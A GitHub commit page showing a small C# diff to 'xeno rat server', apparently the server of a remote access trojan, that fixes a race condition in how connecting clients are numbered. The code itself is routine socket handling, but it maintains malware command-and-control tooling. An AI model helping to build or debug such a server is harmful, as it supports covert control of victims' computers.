Skip to content

Commit

Permalink
fixed a bug where if multiple clients connected at the same time it w…
Browse files Browse the repository at this point in the history
…ould create a race condition
  • Loading branch information
moom825 committed Nov 13, 2023
1 parent 88fc732 commit 0bd6e01
Showing 1 changed file with 4 additions and 3 deletions.
7 changes: 4 additions & 3 deletions xeno rat server/MainForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -103,7 +103,8 @@ public MainForm()

private async Task OnConnect(Socket socket)
{
Node client = await Utils.ConnectAndSetupAsync(socket, key, currentCount, OnDisconnect);
int currentIdCount = currentCount++;
Node client = await Utils.ConnectAndSetupAsync(socket, key, currentIdCount, OnDisconnect);
if (client == null)
{
try
Expand All @@ -119,10 +120,10 @@ private async Task OnConnect(Socket socket)
}
if (client.SockType == 0)
{
clients[currentCount] = client;
ListViewItem clientdata = null;
try
{
clients[currentIdCount] = client;
clientdata = await GetAddInfo(client);
}
catch
Expand All @@ -134,7 +135,7 @@ private async Task OnConnect(Socket socket)
client.Disconnect();
return;
}
currentCount++;
//currentCount++;
Node HeartSock=await client.CreateSubNodeAsync(1);//create HeartBeat Node
if (HeartSock == null)
{
Expand Down

0 comments on commit 0bd6e01

Please sign in to comment.